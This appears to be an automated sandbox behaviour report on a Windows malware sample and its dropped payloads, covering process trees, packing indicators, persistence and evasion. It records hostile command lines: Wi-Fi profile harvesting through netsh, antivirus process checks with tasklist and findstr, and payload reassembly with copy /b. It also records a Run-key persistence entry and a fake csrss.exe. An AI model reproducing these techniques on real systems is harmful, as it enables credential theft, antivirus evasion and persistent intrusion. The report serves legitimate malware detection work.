Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2736 -ip 2736
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2736 -s 1160
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\E35F.exe C:\Users\user\AppData\Local\Temp\E35F.exe
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2DF.exe C:\Users\user\AppData\Local\Temp\2DF.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ufhjbuw C:\Users\user\AppData\Roaming\ufhjbuw
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5390.exe C:\Users\user\AppData\Local\Temp\5390.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5968 -ip 5968
Source: C:\Users\user\AppData\Local\Temp\2DF.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5968 -s 500
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\1600.exe C:\Users\user\AppData\Local\Temp\1600.exe
Source: C:\Users\user\AppData\Local\Temp\1600.exe	Process created: C:\Users\user\AppData\Local\Temp\is-K8FH3.tmp\1600.tmp "C:\Users\user\AppData\Local\Temp\is-K8FH3.tmp\1600.tmp" /SL5="$D029C,4455529,54272,C:\Users\user\AppData\Local\Temp\1600.exe"
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe XXX
Source: C:\Users\user\AppData\Local\Temp\is-K8FH3.tmp\1600.tmp	Process created: C:\Users\user\AppData\Local\Temp\1600.exe "C:\Users\user\AppData\Local\Temp\1600.exe" /SPAWNWND=$B02AC /NOTIFYWND=$D029C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\FD8E.exe C:\Users\user\AppData\Local\Temp\FD8E.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\35E5.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3BD2.exe C:\Users\user\AppData\Local\Temp\3BD2.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4577.exe C:\Users\user\AppData\Local\Temp\4577.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9D1E.exe C:\Users\user\AppData\Local\Temp\9D1E.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\E35F.exe C:\Users\user\AppData\Local\Temp\E35F.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2DF.exe C:\Users\user\AppData\Local\Temp\2DF.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5390.exe C:\Users\user\AppData\Local\Temp\5390.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\1600.exe C:\Users\user\AppData\Local\Temp\1600.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\FD8E.exe C:\Users\user\AppData\Local\Temp\FD8E.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\35E5.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k cmd < Advancement & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c mkdir 15372	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Zoo + Viewers + Bow + Contractors + Protection + Desk + Kinds 15372\Far.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Payday + Corporate + Spain 15372\i	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif 15372\Far.pif 15372\i	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Process created: C:\Users\user\AppData\Local\Temp\4577.exe C:\Users\user\AppData\Local\Temp\4577.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2736 -ip 2736
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2736 -s 1160
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5968 -ip 5968
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5968 -s 500
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe XXX
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1600.exe	Process created: C:\Users\user\AppData\Local\Temp\is-K8FH3.tmp\1600.tmp "C:\Users\user\AppData\Local\Temp\is-K8FH3.tmp\1600.tmp" /SL5="$D029C,4455529,54272,C:\Users\user\AppData\Local\Temp\1600.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1600.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{603D3801-BD81-11d0-A3A5-00C04FD706EC}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\9D1E.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: C:\Users\user\Desktop\987123.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: spelling_bythe_rules_of_language.pdb source: 9D1E.exe, 00000019.00000000.2171928326.0000000000FB2000.00000002.00000001.01000000.0000000C.sdmp, WERA42F.tmp.dmp.29.dr
Source:	Binary string: WindowsFormsApp2.pdb source: E35F.exe, 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb;( source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: WindowsFormsApp9.pdbH source: E35F.exe, 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: mscorlib.pdb source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: 9D1E.exe, 00000019.00000002.2407029205.000000006F8F4000.00000002.00000001.01000000.0000000F.sdmp, 9D1E.exe, 00000019.00000002.2382443256.0000000006041000.00000004.00000800.00020000.00000000.sdmp, 9D1E.exe, 00000019.00000002.2303391732.00000000055ED000.00000004.00000800.00020000.00000000.sdmp, 9D1E.exe, 00000019.00000002.2394782575.00000000075E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: C:\budipi\jewicayemodu-nolu\19\rehoha75\loz-ru.pdb source: 4577.exe, 0000000D.00000002.2101175658.00000000005C5000.00000002.00000001.01000000.00000009.sdmp, 4577.exe, 0000000D.00000000.1954389234.00000000005C5000.00000002.00000001.01000000.00000009.sdmp, 4577.exe, 00000018.00000000.2100150075.00000000005C5000.00000002.00000001.01000000.00000009.sdmp, csrss.exe, 0000001F.00000002.2468399681.00000000005C5000.00000002.00000001.01000000.00000012.sdmp, csrss.exe, 0000001F.00000000.2280554714.00000000005C5000.00000002.00000001.01000000.00000012.sdmp, csrss.exe, 00000026.00000000.2463066301.00000000005C5000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: WindowsFormsApp2.pdbx source: E35F.exe, 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: khZ:\7zsfxmm-51139022f6d790da60884077b63b2f265052be0b\Output\Win32\7ZSfxMod.pdb source: 3BD2.exe, 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmp, 3BD2.exe, 00000008.00000000.1930010886.0000000000426000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: System.pdb4 source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: System.Core.pdb source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: Z:\7zsfxmm-51139022f6d790da60884077b63b2f265052be0b\Output\Win32\7ZSfxMod.pdb source: 3BD2.exe, 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmp, 3BD2.exe, 00000008.00000000.1930010886.0000000000426000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: 9D1E.exe, 00000019.00000002.2394782575.000000000769A000.00000004.08000000.00040000.00000000.sdmp, 9D1E.exe, 00000019.00000002.2382443256.00000000060FB000.00000004.00000800.00020000.00000000.sdmp, 9D1E.exe, 00000019.00000002.2303391732.000000000551E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: WindowsFormsApp9.pdb source: E35F.exe, 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: System.ni.pdb source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: System.pdb source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: spelling_bythe_rules_of_language.pdbX source: 9D1E.exe, 00000019.00000000.2171928326.0000000000FB2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERA42F.tmp.dmp.29.dr
Source:	Binary string: System.Core.ni.pdb source: WERA42F.tmp.dmp.29.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\987123.exe	Unpacked PE file: 0.2.987123.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.dag:W;.muce:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Unpacked PE file: 3.2.ufhjbuw.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.dag:W;.muce:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Unpacked PE file: 34.2.ufhjbuw.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.dag:W;.muce:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\5390.exe	Unpacked PE file: 35.2.5390.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.fidox:W;.zope:W;.rsrc:R; vs .text:EW;

.NET source code contains method to dynamically call methods (often used by packers)

Source: E35F.exe.1.dr, --.cs

.Net Code: Type.GetTypeFromHandle(_0094_0087._0088_009E_008A(16777334)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(_0094_0087._0088_009E_008A(16777271)),Type.GetTypeFromHandle(_0094_0087._0088_009E_008A(16777268))})

Source: 9D1E.exe.1.dr

Static PE information: 0xF808E8DA [Sun Nov 13 13:57:46 2101 UTC]

Source: C:\Users\user\Desktop\987123.exe

Code function: 0_2_0040D915 LoadLibraryA,GetProcAddress,InterlockedExchange,FreeLibrary,

0_2_0040D915

Source: 9D1E.exe.1.dr	Static PE information: real checksum: 0x50c6fc should be: 0x50ff25
Source: 1600.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x4820e0
Source: 2DF.exe.1.dr	Static PE information: real checksum: 0x43967 should be: 0x73319
Source: Zoo.8.dr	Static PE information: real checksum: 0x110b76 should be: 0x35982
Source: FD8E.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x67d7e5
Source: 3BD2.exe.1.dr	Static PE information: real checksum: 0x13c0c6 should be: 0x13bd73
Source: E35F.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x19e64a

Source: 987123.exe	Static PE information: section name: .dag
Source: 987123.exe	Static PE information: section name: .muce
Source: 35E5.dll.1.dr	Static PE information: section name: hvwba
Source: 35E5.dll.1.dr	Static PE information: section name: D
Source: 35E5.dll.1.dr	Static PE information: section name: CONST
Source: 35E5.dll.1.dr	Static PE information: section name: .qdata
Source: 2DF.exe.1.dr	Static PE information: section name: fkgjuy7
Source: 5390.exe.1.dr	Static PE information: section name: .fidox
Source: 5390.exe.1.dr	Static PE information: section name: .zope
Source: wehjbuw.1.dr	Static PE information: section name: .fidox
Source: wehjbuw.1.dr	Static PE information: section name: .zope
Source: ufhjbuw.1.dr	Static PE information: section name: .dag
Source: ufhjbuw.1.dr	Static PE information: section name: .muce

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\35E5.dll

Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00403253 push eax; ret	0_2_0040332D
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00401C64 push es; retf	0_2_00401C83
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_0040332A push eax; ret	0_2_0040332D
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00402F91 push 60B44389h; retf	0_2_00402FAB
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_0040C822 push esi; ret	0_2_0040C824
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00721CCB push es; retf	0_2_00721CEA
Source: C:\Users\user\Desktop\987123.exe	Code function: 0_2_00722FF8 push 60B44389h; retf	0_2_00723012
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_00403253 push eax; ret	3_2_0040332D
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_00401C64 push es; retf	3_2_00401C83
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_0040332A push eax; ret	3_2_0040332D
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_00402F91 push 60B44389h; retf	3_2_00402FAB
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_0040C822 push esi; ret	3_2_0040C824
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_004C1CCB push es; retf	3_2_004C1CEA
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Code function: 3_2_004C2FF8 push 60B44389h; retf	3_2_004C3012
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_0041A2D6 push ecx; ret	8_2_0041A2E9
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: 8_2_00419DC4 push eax; ret	8_2_00419DE2
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Code function: 13_2_028E54BD push cs; ret	13_2_028E54BE
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Code function: 13_2_028AD7ED push ebp; retf	13_2_028AD7EE
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Code function: 13_2_028E57F8 push edx; retf	13_2_028E57F9
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Code function: 13_2_028AD80A push 5A36841Dh; retf	13_2_028AD825
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Code function: 13_2_0284770A pushad ; ret	13_2_0284770C
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Code function: 13_2_027F32EF push ebx; iretd	13_2_027F32F7
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_3_00000260E1153CA4 pushad ; retf	21_3_00000260E1153CA9
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_3_00000260E115895A pushad ; retf	21_3_00000260E1158961
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D077DAD push rdi; ret	21_2_00007FF73D077DB4
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D077849 push rdi; ret	21_2_00007FF73D077852

Source: initial sample	Static PE information: section name: .text entropy: 7.3353810606741625
Source: initial sample	Static PE information: section name: .text entropy: 7.997373535915437
Source: initial sample	Static PE information: section name: .text entropy: 7.337722256745041
Source: initial sample	Static PE information: section name: .text entropy: 7.337722256745041
Source: initial sample	Static PE information: section name: .text entropy: 7.3353810606741625
Source: initial sample	Static PE information: section name: .text entropy: 7.997373535915437

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Jump to dropped file

Drops PE files with benign system names

Source: C:\Users\user\AppData\Local\Temp\4577.exe

File created: C:\ProgramData\Drivers\csrss.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	File created: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\E35F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\wehjbuw	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	File created: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	File created: C:\Users\user\AppData\Local\Temp\InstallSetup9.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9D1E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\ufhjbuw	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1600.exe	File created: C:\Users\user\AppData\Local\Temp\is-K8FH3.tmp\1600.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\FD8E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2DF.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\35E5.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\4577.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5390.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\1600.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Zoo	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4577.exe	File created: C:\ProgramData\Drivers\csrss.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3BD2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1600.exe	File created: C:\Users\user\AppData\Local\Temp\is-9S7V0.tmp\1600.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\4577.exe

File created: C:\ProgramData\Drivers\csrss.exe

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\wehjbuw	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\ufhjbuw	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Zoo	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Source: C:\Users\user\AppData\Local\Temp\4577.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CSRSS
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CSRSS

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\987123.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\ufhjbuw:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\wehjbuw:Zone.Identifier read attributes \| delete			Jump to behavior

May use the Tor software to hide its network traffic

Source: 4577.exe, 00000018.00000002.2986069883.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000026.00000002.2986522634.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: onion-port

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 8990
Source: unknown	Network traffic detected: HTTP traffic on port 8990 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 8990 -> 49797

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0E8DA4 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		21_2_00007FF73D0E8DA4
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D06433C GetForegroundWindow,FindWindowW,IsIconic,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,ShowWindow,		21_2_00007FF73D06433C

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
